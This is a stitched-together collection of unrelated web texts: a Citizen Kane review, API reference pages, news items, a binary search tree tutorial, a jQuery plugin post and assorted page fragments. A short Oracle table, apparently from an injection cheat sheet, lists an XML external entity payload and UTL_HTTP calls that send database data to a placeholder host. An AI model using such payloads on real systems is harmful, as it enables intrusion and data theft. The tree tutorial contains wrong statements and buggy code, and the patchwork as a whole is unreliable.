In all this hoopla about its technique, the film's story seems to have diminished.  The title character is a lonely, financially thriving man named Charles Foster Kane. As a young child, he was taken away by a rich man named Thatcher. That arrangement helped his parents in their financial woe. Charles was promised a huge inheritance, but what he wanted was a newspaper to run. Kane, while still quite young, ran the flourishing Inquirer newspaper and transformed it into a powerful empire. He dabbled into politics, and everything else he could get his hands on. He had many friends, but his inability to love and his thirst for love didn't balance out.
This disability was his downfall. The film shows how cold Kane was through the distance between characters. There is a very famous montage in the film in which Kane's first wife start out as a happy newlywed couple sitting close together at their breakfast table and then, with time, grow apart which is shown by the characters sitting further apart. At the end of the sequence, the table seems longer than when the montage started out and, instead of sitting on the same side, hand in hand, Kane is sitting at one end of the long table while his wife sits on the other end.
Kane divorced his first wife after he is seen with a mistress, which caused scandal, thereby smashing his chances of being elected as governor. His mistress, an aspiring singer, later marries him, but to her, he also cannot express love. He buys her everything under the sun, but, as she illustrates in an emotional monologue, it isn't what she wants. Kane builds an opera house for his second wife and, despite her wilted voice, pays impatient music teachers to train her. Her debut opera is unsuccessful, a flop. A memorable image during this chapter in the film is one where Kane's wife is belting her song on stage and the camera moves up to reveal two men on the balcony holding their noses, hating the music. Charles Kane is a driven man and will not be made a fool of- after scathing reviews, he continues to force his wife to sing. Later, at their house in Xanadu, a monument Kane has built for himself, Orson Welles uses the distance technique to full effect, showing the bored wife far away from her egotistical husband in a room.
Citizen Kane is not told the way most films before it were. Kane begins with the famous dying sequence and with a newsreel, putting Kane's life in a nutshell, explaining the impact he had on people. Then, the film goes into detail, drawing on diaries and interviews with people Kane knew. All this investigation of Kane's life is aiming to find the meaning of his last word- "Rosebud". However, that's just a prank to draw the audience in, the film is not about Rosebud so much as it is about the man who uttered the word. When Mr. Berstein, one of the interviewees, is asked about the word, he gives one of the best speeches ever committed to film-
"A fellow will remember a lot of things you wouldn't think he'd remember. You take me. One day, back in 1896, I was crossing over to Jersey on the ferry, and as we pulled out, there was another ferry pulling in, and on it there was a girl waiting to get off. A white dress she had on. She was carrying a white parasol. I only saw her for one second. She didn't see me at all, but I'll bet a month hasn't gone by since, that I haven't thought of that girl."
 Those closest to him talk about him, his ambition, and his ruin. Gregg Toland's revolutionary deep-focus cinematography is extremely compelling. In the first sequence, the dying sequence, Kane murmurs "Rosebud" on his deathbed and drops a glass, ball paperweight. It shatters on the floor and we see, through the broken pieces of glass, a nurse come into the room. The film is a collection of sharp and distorted images- one of my favorite uses of light in the movie is when the reporter investigating "Rosebud" visits the library of Kane's guardian Thatcher and is sent to a room to read Thatcher's diary. A ray of brilliant light falls into the darkness of the room. Toland shot several scenes from the floor looking up which caused quite a stir. In older films, you almost never see the ceilings of buildings because that was where the lights and microphones were. Here, you see ceilings made of cloth which look real, but behind them Toland and Welles put the microphones. Citizen Kane is probably the greatest work of photography ever seen on screen, most definitely the best use of the camera in a black-and-white film.
There are several images in the film that stick in one's mind forever. There is a scene where the old and defeated Kane walks past many mirrors, spawning infinite reflections. There is, of course, the scene where the sleigh with the word Rosebud on it is thrown in the furnace with all the rest of Kane's other stuff that is being burned after his death. The flames curl around the sleigh, the word Rosebud darkening and vanishing. The images of Kane's monumental home Xanadu and Kane at a political rally are astonishing.
Citizen Kane is not filled with a lot of emotion and maybe that's why some people don't respond to it. It is a massive achievement, the first and last famous directorial achievement of an infinitely talented man, Orson Welles. Can you believe people actually wanted to colorize this film? Watching it in a colored version would be as blasphemous as watching the deliberately black-and-white Schindler's List in color. It would be a sin, a crying shame just as it is to watch the power and enigmatic quality of Casablanca leeched out in badly colorized versions. What Citizen Kane has brought to the art of film is great- a different kind of narrative structure for films. Kane's life was not a straight-forward story but a winding, curving morality tale. The earlier use of linear storytelling in films would have done the story little justice. Citizen Kane is one of those lasting achievements, one of those ageless films, and one of the most gratifying film experiences ever.
By Andrew Chan
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


Welcome To Login In iTalk
{{errorMsg}}
Auto Sign In
Forget Password
Experience
Sign in
Please Wait...
Help
Privacy
About
Copyright © 2018 - Presented By
SWJTU


An implementation of the Naive Bayes Algorithm in C++
An exploring game in C++ using the openFrameworks library
Refereed Delegation of Computation in Python
An image generator in C++
The Sushi Go game engine and AI algorithm in Java
An implementation of the snake game in C++


Police arrest man on kidnapping, assault charges after stabbing in Nuuanu
by HNN StaffHONOLULU, Hawaii (HawaiiNewsNow) - Honolulu police arrested a 38-year-old man on several charges in connection with a stabbing in Nuuanu on Tuesday afternoon.
Sources said the suspect stabbed a woman in the face and neck at the Salvation Army on Waokanaka Street around 1:45 p.m.
According to police records, the suspect, identified as Ike Folwer, also threatened the woman and restrained her against her will.
Emergency crews rushed the 25-year-old woman to the hospital. She was last listed in stable condition.
Fowler was booked on suspicion of kidnapping, second-degree assault, second-degree terroristic and a minor motor vehicle collision.
This story will be updated.
Copyright 2019 Hawaii News Now. All rights reserved.


import {GisplayDefaults} from 'gisplay-es6-webpack/src/Gisplay/GisplayDefaults.js'
GisplayDefaults
Class that exports the Gisplay default values.
Static Method Summary
| Static Public Methods | ||
| public static |
The animation time variable. |
|
| public static |
The color visual variable. |
|
| public static |
Returns the divergent data nature. |
|
| public static |
Returns the instant time variable. |
|
| public static |
Returns the interval time variable. |
|
| public static |
|
|
| public static |
The variable that is used to hold the matrix projection |
|
| public static |
The saturation visual variable. |
|
| public static |
The orientation visual variable. |
|
| public static |
The position visual variable. |
|
| public static |
Returns the qualitative data nature. |
|
| public static |
Convert the given RGBA color color to it's respective integer value. |
|
| public static |
SEQUENTIAL(): string Returns the sequential data nature. |
|
| public static |
The shape visual variable. |
|
| public static |
The size visual variable. |
|
| public static |
The texture visual variable. |
|
| public static |
cloneNestedArray(arr: Array<any>): Array<any> Clone a nested array in Javascript. |
|
| public static |
findFigureIndex(figureName: string): number Returns the index of the given figure name. |
|
| public static |
findPatternIndex(patternName: string): number Returns the index of the given pattern. |
|
| public static |
findShapeIndex(shapeName: string): number Returns the index of the given shape. |
|
| public static |
Returns a list of available background map providers. |
|
| public static |
Returns the available class break methods. |
|
| public static |
Returns the available color brewer methods. |
|
| public static |
Returns the list of available granularities. |
|
| public static |
getBordersShadersFileNames(): {borderVertexFileName: string, borderFragmentFileName: string} Returns the names of the borders files (vertex and fragment shaders). |
|
| public static |
The default alpha value for the |
|
| public static |
Returns the default color for the borders. |
|
| public static |
Returns the default class method to calculate classes for continuous variables. |
|
| public static |
Returns the default color. |
|
| public static |
Returns the index of the default figure. |
|
| public static |
getDefaultOrientationValue(): number=0 Returns the default orientation of a figure or shape in the Gisplay API. |
|
| public static |
Returns the index of the default shape. |
|
| public static |
getDefaultSizeValue(): number=15 Returns the default size of a point for the Gisplay API. |
|
| public static |
Returns the index of the default texture. |
|
| public static |
Returns the size of the any figure image. |
|
| public static |
Returns the number of bytes for each element of a Float32Array. |
|
| public static |
getGranule(timeString: string): number Convert the time string to the granularity we want. |
|
| public static |
The max data name to be used in all shaders that use size as a visual variable. |
|
| public static |
|
|
| public static |
Returns the maximum size for points. |
|
| public static |
The min data name to be used in all shaders that use size as a visual variable. |
|
| public static |
|
|
| public static |
Returns the minimum size for points. |
|
| public static |
Returns the size of the any pattern image. |
|
| public static |
Returns the type of primitive we want. |
|
| public static |
Returns the size of the any shape image. |
|
| public static |
The number of bytes for each element of a Uint8Array (Unsigned int). |
|
| public static |
hasCSVPoints(geoPrimitive: number): boolean Returns true if the given primitive is points coming from the CSV Parser. |
|
| public static |
Returns true if the given primitive is line. |
|
| public static |
Returns true if the given primitive is line. |
|
| public static |
hasPolygons(geoPrimitive: number): boolean Returns true if the given primitive is polygon. |
|
| public static |
The name for the boolean variable that is used on the shader to know if we want to draw to picking texture or normal draw. |
|
| public static |
numberToRGBA(num: number): Array<number> Convert the given number to it's RGBA representation. |
|
| public static |
The name of the variable that holds the RGBA colors used for picking. |
|
| public static |
Returns the name of the picking identifier for the MVC/TG. |
Static Public Methods
public static MESSAGES_CSV() source
public static RGBAToNumber(r: number, g: number, b: number, a: number): number source
Convert the given RGBA color color to it's respective integer value.
public static cloneNestedArray(arr: Array<any>): Array<any> source
Clone a nested array in Javascript.
Params:
| Name | Type | Attribute | Description |
| arr | Array<any> | The given array. |
public static findFigureIndex(figureName: string): number source
Returns the index of the given figure name.
Params:
| Name | Type | Attribute | Description |
| figureName | string | The figure name. |
Throw:
If the given figure does not exist. |
public static findPatternIndex(patternName: string): number source
Returns the index of the given pattern.
Params:
| Name | Type | Attribute | Description |
| patternName | string | The name of the given pattern. |
Throw:
If the given pattern does not exist. |
public static findShapeIndex(shapeName: string): number source
Returns the index of the given shape.
Params:
| Name | Type | Attribute | Description |
| shapeName | string | The name of the given shape. |
Throw:
If the given shape does not exist. |
public static getAvailableBackgroundProviders(): string[] source
Returns a list of available background map providers.
public static getAvailableClassBreaksMethods(): string[] source
Returns the available class break methods.
public static getAvailableColorBrewerMethods(): Array<string> source
Returns the available color brewer methods.
public static getBordersShadersFileNames(): {borderVertexFileName: string, borderFragmentFileName: string} source
Returns the names of the borders files (vertex and fragment shaders).
public static getDefaultBordersColor(): Array<number> source
Returns the default color for the borders.
public static getDefaultClassBreakMethod(): string source
Returns the default class method to calculate classes for continuous variables.
public static getDefaultOrientationValue(): number=0 source
Returns the default orientation of a figure or shape in the Gisplay API.
Return:
| number=0 | the default orientation of a figure or shape in the Gisplay API. |
public static getDefaultSizeValue(): number=15 source
Returns the default size of a point for the Gisplay API.
Return:
| number=15 | the default size of a point for the Gisplay API. |
public static getFloat32BytesPerElement(): number source
Returns the number of bytes for each element of a Float32Array.
public static getGranule(timeString: string): number source
Convert the time string to the granularity we want.
Params:
| Name | Type | Attribute | Description |
| timeString | string | The time as it was read from the file. |
public static getMaxSizeDataName(): string source
The max data name to be used in all shaders that use size as a visual variable.
public static getMaxSizePixels() source
public static getMinSizeDataName(): string source
The min data name to be used in all shaders that use size as a visual variable.
public static getMinSizePixels() source
public static getUint8BytesPerElement(): number source
The number of bytes for each element of a Uint8Array (Unsigned int).
public static hasCSVPoints(geoPrimitive: number): boolean source
Returns true if the given primitive is points coming from the CSV Parser.
Params:
| Name | Type | Attribute | Description |
| geoPrimitive | number | The identifier of the primitive. |
public static hasLines(geoPrimitive: number): boolean source
Returns true if the given primitive is line.
Params:
| Name | Type | Attribute | Description |
| geoPrimitive | number | The identifier of the primitive. |
public static hasPoints(geoPrimitive: number): boolean source
Returns true if the given primitive is line.
Params:
| Name | Type | Attribute | Description |
| geoPrimitive | number | The identifier of the primitive. |
public static hasPolygons(geoPrimitive: number): boolean source
Returns true if the given primitive is polygon.
Params:
| Name | Type | Attribute | Description |
| geoPrimitive | number | The identifier of the primitive. |
public static isPickingName(): string source
The name for the boolean variable that is used on the shader to know if we want to draw to picking texture or normal draw.
Return:
| string | he name for the boolean variable that is used on the shader to know if we want to draw to picking texture or normal draw. |
public static numberToRGBA(num: number): Array<number> source
Convert the given number to it's RGBA representation.
Params:
| Name | Type | Attribute | Description |
| num | number | The number to be converted. |


References to the DB_ENV structure are maintained by Berkeley DB, so it may not be discarded until the last close function, corresponding to an open function for which it was an argument, has returned. To ensure compatibility with future releases of Berkeley DB, all fields of the DB_ENV structure that are not explicitly set should be initialized to 0 before the first time the structure is used. Do this by declaring the structure external or static, or by calling one of the C library routines bzero(3) or memset(3).
The fields of the DB_ENV structure used by db_open are described below. If dbenv is NULL or any of its fields are set to 0, defaults appropriate for the system are used where possible.
The following fields in the DB_ENV structure may be initialized before calling db_open:
If both locking and transactions are being performed (i.e., both
lk_info and tx_info are non-NULL), the transaction
ID will be used as the locker ID.
If only locking is being performed, db_open will acquire a
locker ID from lock_id and will use it for all locks required
for this instance of db_open.
When the access methods are used in conjunction with transactions,
the application must abort the transaction (using txn_abort)
if any of the transaction protected access method calls (i.e.,
any calls other than open, close and sync) returns a
system error
(e.g., deadlock, which returns EAGAIN).


|
| | Agent ()=default |
| |
| virtual | ~Agent ()=default |
| |
| virtual void | init (int level, const std::vector< int > &fan_in, bool is_level_root)=0 |
| | Set the level where this Agent is active and push signals/controls for that level. More...
|
| |
| virtual void | validate_policy (std::vector< double > &policy) const =0 |
| | Called by Controller to validate incoming policy values and configure defaults requested in incoming policy. Policy sender can request default value with 'NaN' at the desired offset in the policy vector. Returned policy should not contain 'NaN's and be consumeable by descend and adjust_platform. More...
|
| |
| virtual void | split_policy (const std::vector< double > &in_policy, std::vector< std::vector< double > > &out_policy)=0 |
| | Called by Controller to split policy for children at next level down the tree. More...
|
| |
| virtual bool | do_send_policy (void) const =0 |
| | Called by Controller to determine if new policy values should be sent down the tree to the Agent's children. More...
|
| |
| virtual void | aggregate_sample (const std::vector< std::vector< double > > &in_sample, std::vector< double > &out_sample)=0 |
| | Aggregate samples from children for the next level up the tree. More...
|
| |
| virtual bool | do_send_sample (void) const =0 |
| |
| virtual void | adjust_platform (const std::vector< double > &in_policy)=0 |
| | Adjust the platform settings based the policy from above.  More...
|
| |
| virtual void | sample_platform (std::vector< double > &out_sample)=0 |
| | Read signals from the platform and interpret/aggregate these signals to create a sample which can be sent up the tree. More...
|
| |
| virtual void | wait (void)=0 |
| | Called by Controller to wait for sample period to elapse. This controls the cadence of the Controller main loop. More...
|
| |
| virtual std::vector< std::pair< std::string, std::string > > | report_header (void) const =0 |
| | Custom fields that will be added to the report header when this agent is used. More...
|
| |
| virtual std::vector< std::pair< std::string, std::string > > | report_host (void) const =0 |
| | Custom fields for the host section of the report. More...
|
| |
| virtual std::map< uint64_t, std::vector< std::pair< std::string, std::string > > > | report_region (void) const =0 |
| | Custom fields for each region in the report. More...
|
| |
| virtual std::vector< std::string > | trace_names (void) const =0 |
| | Column headers to be added to the trace. More...
|
| |
| virtual std::vector< std::function< std::string(double)> > | trace_formats (void) const |
| | Returns format string for each column added to the trace. More...
|
| |
| virtual void | trace_values (std::vector< double > &values)=0 |
| | Called by Controller to get latest values to be added to the trace. More...
|
| |
| virtual void | enforce_policy (const std::vector< double > &policy) const |
| | Enforce the policy one time with PlatformIO::write_control(). Called to enforce static policies in the absence of a Controller. More...
|
| |
|
| static std::vector< std::string > | agent_names (void) |
| |
| static std::unique_ptr< Agent > | make_unique (const std::string &agent_name) |
| |
| static int | num_policy (const std::map< std::string, std::string > &dictionary) |
| | Used to look up the number of values in the policy vector sent down the tree for a specific Agent. This should be called with the dictionary returned by agent_factory().dictionary(agent_name) for the Agent of interest. More...
|
| |
| static int | num_policy (const std::string &agent_name) |
| | Used to look up the number of values in the policy vector sent down the tree for a specific Agent. More...
|
| |
| static int | num_sample (const std::map< std::string, std::string > &dictionary) |
| | Used to look up the number of values in the sample vector sent up the tree for a specific Agent. This should be called with the dictionary returned by agent_factory().dictionary(agent_name) for the Agent of interest. More...
|
| |
| static int | num_sample (const std::string &agent_name) |
| | Used to look up the number of values in the sample vector sent up the tree for a specific Agent. More...
|
| |
| static std::vector< std::string > | policy_names (const std::map< std::string, std::string > &dictionary) |
| | Used to look up the names of values in the policy vector sent down the tree for a specific Agent. This should be called with the dictionary returned by agent_factory().dictionary(agent_name) for the Agent of interest. More...
|
| |
| static std::vector< std::string > | policy_names (const std::string &agent_name) |
| | Used to look up the names of values in the policy vector sent down the tree for a specific Agent. More...
|
| |
| static std::vector< std::string > | sample_names (const std::map< std::string, std::string > &dictionary) |
| | Used to look up the names of values in the sample vector sent up the tree for a specific Agent. This should be called with the dictionary returned by agent_factory().dictionary(agent_name) for the Agent of interest. More...
|
| |
| static std::vector< std::string > | sample_names (const std::string &agent_name) |
| | Used to look up the names of values in the sample vector sent up the tree for a specific Agent. More...
|
| |
| static std::map< std::string, std::string > | make_dictionary (const std::vector< std::string > &policy_names, const std::vector< std::string > &sample_names) |
| | Used to create a correctly-formatted dictionary for an Agent at the time the Agent is registered with the factory. Concrete Agent classes may provide policy_names() and sample_names() methods to provide the vectors to be passed to this method. More...
|
| |
| static void | aggregate_sample (const std::vector< std::vector< double > > &in_sample, const std::vector< std::function< double(const std::vector< double > &)> > &agg_func, std::vector< double > &out_sample) |
| | Generically aggregate a vector of samples given a vector of aggregation functions. This helper method applies a different aggregation function to each sample element while aggregating across child samples. More...
|
| |


Crunchyroll
iFrame Player
Open-Source Project
Itallolegal
Creator
Hyper1025
Contribuitor
FelipeSazz
Mantainer


Innovation Partner
Dedicated knowledge-transfer activities and in-house cutting-edge solutions.
Direct support to our Partners to design, implement and test different blockchain-based platforms
Privileged access to exclusive research results
Access to undergraduate, master and PhD students for internships and recruiting
Active fostering of mutual promotion & profile raising by posting the Partners’ brand on the CBT homepage
Promote adoption of blockchain Platforms
Gain access to our archive of decentralised systems
Core Partner = Innovation Partner
Access to dedicated databases on blockchain systems, digital currencies and P2P systems
Invitation to present technical talks and showcase research or development projects
Free access to the annual market report on blockchain startups
Strategic Partner = Core Partner +
Specific fellowship programs at the CBT
Participation to elaboration of standards and blockchain governance
Invitation to closed-doors pitches by blockchain startups
Permanent chair at the Scientific Steering Committee
Governance and monitoring systems
We accept applications from all degree disciplines - although you will need a minimum 2.1 degree (or equivalent). While your degree subject doesn't matter, you must be numerate, have an interest in finance and a desire to work in the investment banking industry.
The structure of your recruitment process will vary depending on the division and region you have applied for. Our diagram below shows the process flow for our various programs.
Please see Application FAQs and Interview Tips for advice on how to approach the various stages of our recruitment process.
The deadlines for the programs are listed below and we will be accepting applications from 1 September.
The dates below are final deadlines, but we do review applications on a rolling basis. We therefore advise that you apply as soon as possible.
Corporate Infrastructure (Compliance, Finance, Operations & Technology)
Yes, we will sponsor those students we offer, but the UK Home Office will ultimately make the final decision as to whether this will be granted.
We want you to do your very best at interview. So take a look at our section on interview tips. In this section, you can complete a mock interview, learn how to tackle a case study and read our guide on interview etiquette.


Terry Bogard is now available in Super Smash Bros. Ultimate, and he’s dangerous when he’s about to lose
Follow Polygon online:
by Austen GoslinThe newest DLC fighter has arrived in Super Smash Bros. Ultimate. Terry Bogard, of SNK fame, has been added to the game in patch 6.0.
The game’s director Masahiro Sakurai showed some of Terry’s abilities and moves, and gave fans a look at the new King of Fighters stage, during Nintendo’s 45 minute Smash Bros. livestream on Wednesday morning.
Terry has a few unique moves, but his biggest strength becomes available once his damage goes above 100 percent. At that point, Terry can use his Super Special Moves. These abilities are high-risk, high-reward attacks that might allow you to turn the momentum of a match around, even if things look hopeless.
Patch 6.0 also includes the new King of Fighters stage as well as several new Mii costumes. On the online side of things, Nintendo has added the ability for hosts to change the rules without shutting down their arena. There’s also now an option to add Random Battlefield and Omega Form maps in the stage settings.
While the patch is free to all Super Smash Bros. Ultimate players, Terry and the new King of Fighters stage must be purchased for $4.99 in Challenger Pack 4, or as part of the Fighters pass for $24.99.


BulletReader 🔥
Set your speed: 🐢
⚡
note_add
Load File
play_arrow
stop
fast_rewind
fast_forward
Progress chart
>
here
/
0


I was the one to move into our shared flat first in the final year of university. During this time, I got restless after finishing up any revision I thought I may need for the upcoming semester, so I put my time to better use than just dossing about an empty flat. Knowing that there would be an obscene amount of IT gear in this flat when my mates moved in, I decided to create a makeshift dashboard system to keep track of all the devices on the network and save any useful information pertaining to them. With this in mind, Sahara (Server and Host Abridged Registration Archive) was born, and yes, I really did phone it in with that acronym.
-Return to Portfolio-
This was very different to anything else I'd done, and as a result, had to do much troubleshooting to get things like the ping function to work as well as I wanted it to. I have no doubt that a professional would be disgusted at the code I fudged to get this working, but I was extremely happy with this upon completion as it did everything I set out for it to do and was great fun. I could never figure out a secure way of storing passwords for retrieval on this site though. I was able to reuse a bunch of the code from my music blog, and then add to it to create the desired functionality. CSS was done from scratch and is fairly simple, as well as designing the logo. I ran the WAN pinger via PHP CLI on the server it ran on.
We had a seriously silly amount of IT gear at our flat when we were all properly moved in, off the top of my head we had: 2 Dell R710 Servers, a HP Microserver, a very old HP proliant server, a Raspberry Pi, network tap, Ubiquity gigabit switch and wireless access point, 3 laptops, 2 desktop PCs, 3 chromecasts, 1 google home, a UPS, and enough cabling to run up the street and back. For this reason, I created this dashboard to keep track of everything, as well as the services we had running.
I did this for myself and the two friends I was living with in the final year, we perhaps didn't get as much use out of it as I had anticipated, but it still came in super handy at times and I'm glad I made it.
Made with by Max Ingham


Definition:
Porter's 5 Forces combine to affect the degree of rivalry and competition in an industry
Supplier Power
Barriers to Entry
Threat of Substitutes
Buyer Power
Degree of Rivalry


Recipe Posted!
Hooray! This recipe has been posted to grubster.
Recipe Already Captured!
This recipe already exists on Grubster but if you login it will saved to your favorites!.
Recipe Post Failed
Something went wrong. Please try again.
Recipe Saved
This recipe already exists on Grubster but we've saved it as a favorite to your account!


* Requires privileged user
| Description | Query |
|---|---|
| Combine multiple lines into one | SELECT dbms_xmlgen.getxmltype('select user from dual') FROM dual |
| XML External Entity | SELECT xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://IP/test"> %remote; %param1;]>') FROM dual; |
| URL_HTTP Request (Pre-11gR2) | SELECT UTL_HTTP.request ('http://IP/test') FROM dual; |
| Escaping special characters | SELECT UTL_URL.escape('http://IP/' || USER) FROM dual; |


This page now lives at this address: http://$server$/$home$/$file$
Please click on the new address to jump to this page, and update any links accordingly. You will be redirected shortly.


Dallas Buyers Club
22 hours ago. As for my pup Bitzy, she is dressing as Moira. You know, the french maid from season 1 of American Horror Story. Duh It's. her favorite show Button Detail Dress by Sister Jane**. , $50-100, available at Topshop collar me (14) by Anna Leslie; 37867 Followers; 14357 Products. **Velvet Peter Pan Dress. by Oh My Love - Topshop CHLOE SEVIGNY FOR OPENING CEREMONY EYELET PINAFORE DRESS. Double flare white agate. plugs - Bodyartforms.


Binary Search Trees: Handling Deletion
Deletion
We saved deletion for last because, well, it’s just a little tricky. It’s similar to the deletion considerations we had for linked lists . We first find the node to delete. If it exists, we then consider how to handle the blank space left after its deletion. There are three possible cases:
- The node is a leaf node. It has 0 children. Simply remove the node from the tree.
- The node has one child. We splice it out, connecting its parent to its child.
- The node has three children. We follow the following algorithm:
- Find the successor of the node.
- Remove the successor and splice the parent with its right child.
- Save the successor we spliced out and swap it with the node to be deleted.
We are able to splice out the successor from the tree as though it were case #2, a node with only one child. You might worry though: what if the successor has two children? Believe it or not, that’s impossible.
How do we know the successor can’t have a left child? By virtue of its being a successor.
We define the successor S as the smallest element strictly greater than its parent.
- Since this is a binary search tree, left children are always strictly less than their parents, and right children are always strictly greater than their parents.
- If S had a left child (C), that left child would have to be less than S.
- But S is, by definition, the smallest strictly greater element.
So if S “had” a left child, S would not be the successor: C would be.
Before we write any code, let’s visualize the three cases.
Visualization
Here’s the before and after for deleting a node with 0, 1, and 2 children.

We need a few helper functions for the tricky cases. One will find the successor for a given node by recursing down the leftmost branch until we reach a leaf node:
function findSuccessor(N) {
if (!(N && N.right)) {
return false;
}
N = N.right;
while (N.left !== null) {
N = N.left;
}
return N;
}
If a node does not have a right child, it doesn’t have a successor. If it does have a right child, we find its successor by traversing to the right child and then recursing left until we reach a leaf node.
We’ll also write a simple function to return the number of child nodes given a node, so that we know which of the three deletion cases we’re handling.
function countChildren(node) {
return (node.right ? 1 : 0) + (node.left ? 1 : 0);
}
We’ll also write one other helper method, findParent
. This returns the parent node of a given node. It returns null if the node does not exist in the tree, or if the node is the tree’s parent.
function findParent(tree, node) {
if (tree == node) {
return null;
} // this is the root
while (tree !== null) {
if (tree.left == node || tree.right == node) {
break;
}
if (node.data < tree.data) {
parentNode = tree;
tree = tree.left;
} else if (node.data > tree.data) {
parentNode = tree;
tree = tree.right;
}
}
return tree ? tree : false;
}
Let’s go ahead and write our delete function now.
Modes 1 and 2 are simple enough.
function deleteNode(tree, value) {
let parentNode = null;
while (tree !== null) {
if (tree.data === value) {
break;
}
if (value < tree.data) {
parentNode = tree;
tree = tree.left;
} else if (value > tree.data) {
parentNode = tree;
tree = tree.right;
}
}
if (!tree) {
return false;
}
let childCt = countChildren(tree);
if (childCt === 0) {
parentNode.left == tree
? (parentNode.left = null)
: (parentNode.right = null);
} else if (childCt === 1) {
let nodeToSplice = tree.left ? tree.left : tree.right;
parentNode.left === tree
? (parentNode.left = nodeToSplice)
: (parentNode.right = nodeToSplice);
} else {
/* two children...sigh */
}
}
When we search the tree for the value we intend to delete, we keep track of the parentNode
(the last node that we visited before going left or right). This way, when we find the target node, we already have the pointer we need for its parent.
We break from the while loop when we find the value, or when tree===null
. We check after the loop to see if tree
is null. If it is, that means the value doesn’t exist in the tree, so we’re done. Nothing to delete.
If we found the value, we get the count of that node’s children. Then, we execute the three possible deletion cases.
No children? We check to see whether the child is on the left or right side of the parentNode
, and then we set that side to null.
One child? We set the variable nodeToSplice
equal to whichever child is non-null. Then, we find whether the child is on the left or right side of parentNode
and connect nodeToSplice
directly. The deleted node now has no references to it.
Two children? Okay, here’s the slightly tricky part.
- Find the successor of the node we wish to delete.
- Copy the successor node.
- Splice out the successor by swapping out its right child with itself.
- Swap out the deleted node with the successor.
We’ll define a method for nodes to swap the value of a given node with a provided value.
node.prototype.swapValue = function (b) {
this.data = b.data;
};
All right, let’s write the code for case 3.
else {
// sigh no more
let succ = findSuccessor(tree);
let parent = findParent(tree, succ);
parent.left === succ
? (parent.left = succ.right)
: (parent.right = succ.right);
tree = tree.swapValue(succ);
return true;
}
That’s pretty easy, right? We find the successor and the parent of that successor. We determine which side of the parent that the successor lies on. Then, we swap out the deleted node with the successor.
Sidenote: Garbage Collection
It’s important to note that not all languages will free a variable after you have removed a reference to it. Garbage collection is the process of freeing up memory that the program is no longer using but remains allocated as the result of previous operations. When we set the pointer to an item to null, this “orphan” item (which is no longer connected to anything else) will be cleared up by JavaScript’s garbage collector. In some lower-level languages like C, the programmer must free memory manually.
Congratulations
If you’ve finished reading through this and part one of the Binary Search Trees tutorial, you’ve learned yourself some powerful computer science tools. There’s much more to learn: did you know that trees need balancing in order to maintain an optimal shape and performance? Consider if we just added node after node after node without reconfiguring the nodes' orientation. We’d get a tree like this:
Search is no longer O(n*log n)
. In fact, the performance is not much better than linear search on a linked list. What happened? All that work for nothing?
Patience, young grasshopper. You’ve earned yourself a break from the computer. Have a stretch and some coffee. We’ll cover balanced binary search trees soon enough.


--- layout: post title: Scroll Up Menu - a jQuery plugin for mobile date: 2014-01-09 00:41:10.000000000 +00:00 type: post published: true status: publish categories: - Programming - usability - web tags: - jQuery - mobile - ui patterns meta: tmac_last_id: '618797326547574784' _edit_last: '1' author: David Simpson excerpt_separator: ---
Fixed headers and menus are everywhere on mobile 'friendly' sites and I hate them. On iOS for example, they really get in the way if you're viewing a page in a WebView for some application. This isn't as big a deal on Android because the browser takes control. Android is good like that.
Either way, fixed headers are really annoying, especially when paired with fixed footers for advertisements. One example of this (though there are many) is the Forbes website when viewed in Tweetbot:
You have the top and bottom chrome from Tweetbox, the Forbes header and menu bar, and a fixed footer advertisement. The actual readable content area is minimal. Scrolling at least removes the Forbes logo, but there's so much unwanted stuff onscreen detracting from the content.
Having browsed wired.com on iOS, I noticed that their menu/header disappears out of the way when you're reading an article. Scrolling up slightly conveniently activates the header menu immediately.
This is a great pattern for mobile sites. It maximises the available space for content yet makes navigation a doddle.
Unfortunately, I couldn't find any mention of this pattern elsewhere, so leaped ahead and rolled my own - Scroll Up Menu. It's written as a jQuery plugin - simply because jQuery is so very popular.
Usage:
$('#top').scrollUpMenu();
This assumes that the header is contained in a `#top` selector.
Having recently migrated to a WordPress theme that I really like, which actually has a fixed header (yes, really), I'll endeavour to apply this to the blog as soon as possible.


#* The server renders this HTML page in an end-user's browser when a user has failed multi-factor authentication. Velocity variables (identified by the $ character) are generated at runtime by the server. Change text or formatting as needed. Modifying Velocity statements is not recommended as it may interfere with expected server behavior. *# #set( $messageKeyPrefix = "otp.adapter.mfa.failed.template." )
$languagePackMessages.getMessage($messageKeyPrefix, "header")


The story is loosely based on an actual journey undertaken by the monk Xuanzang in the 7th century across the desert wastes of Chinese Central Asia to India, the home of Buddhism, to collect Buddhist texts for translation into Chinese. While on their way, TangSeng was captured by Bull Demon King. Wukong intruded into the flaming mountain and started his way to rescue his Master. And that’s where our game began…
The Adventure of Monkey King is a single player, 2D, RPG game. The protagonist of the game is a monkey named Wukong whose goal is to help Tangseng get Buddhist texts and rescue him. You play as Wukong who needs to collect the necessary items to pass each level. In each level, Wukong could use his skills to defeat the enemy.


Fabio Cannavaro back at China’s Guangzhou Evergrande
BEIJING (AP) - Fabio Cannavaro has returned as coach of Chinese side Guangzhou Evergrande after accepting criticism from club management over his handling of the team.
The 2006 World Cup champion had been ordered to corporate headquarters last week to attend an “enterprise culture studies class,” throwing his future at the club into question.
However, a notice on the team website said the former Italy captain had submitted a report Sunday “summarizing and reflecting on” the 2019 season and returned to his position at the club. It said Xu Jiayin, the chairman of heavily indebted property developer Evergrande, accepted the report while criticizing Cannavaro for not being strict enough with his players.
“Xu Jiayin hopes Cannavaro takes on board the company philosophy of ‘do it best or don’t do it at all,’ study and work hard, boost the level of the coaching staff, enforce strict management, pass out rewards and punishments and raise the players’ “combat capabilities,” the notice said.
Despite recent disappointing results, Evergrande, a property developer based in the southern Chinese city also known as Canton, sits atop the Chinese Super League standings by a single point. The team’s next game is against Shanghai side SIPG on Nov. 22.
China has relied heavily on foreign coaches and players to raise the level of its football, something president and Communist Party leader Xi Jinping has made a national priority.
Cannavaro briefly did double-duty as coach of the perennially underperforming Chinese men’s national team before quitting earlier this year after only two games - losses against Uzbekistan and Thailand - saying he wanted to focus on his job at Guangzhou.
